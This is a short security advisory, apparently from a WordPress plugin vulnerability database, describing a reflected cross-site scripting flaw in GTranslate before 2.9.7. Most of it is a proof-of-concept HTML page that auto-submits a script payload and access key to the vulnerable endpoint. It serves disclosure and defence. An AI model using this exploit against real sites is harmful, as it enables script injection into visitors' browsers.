WordPress Plugin Vulnerabilities

GTranslate < 2.9.7 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the body parameter in the url_addon/gtranslate-email.php file before outputting it back in the page, leading to a Reflected Cross-Site Scripting issue. Note: exploitation of the issue requires knowledge of the NONCE_SALT and NONCE_KEY

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-content/plugins/gtranslate/url_addon/gtranslate-email.php?glang=e1n" id="hack" method="POST">
      <input type="hidden" name="body" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="access_key" value="b4a0efbacac60a7d20cb891f5d656a3f" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>
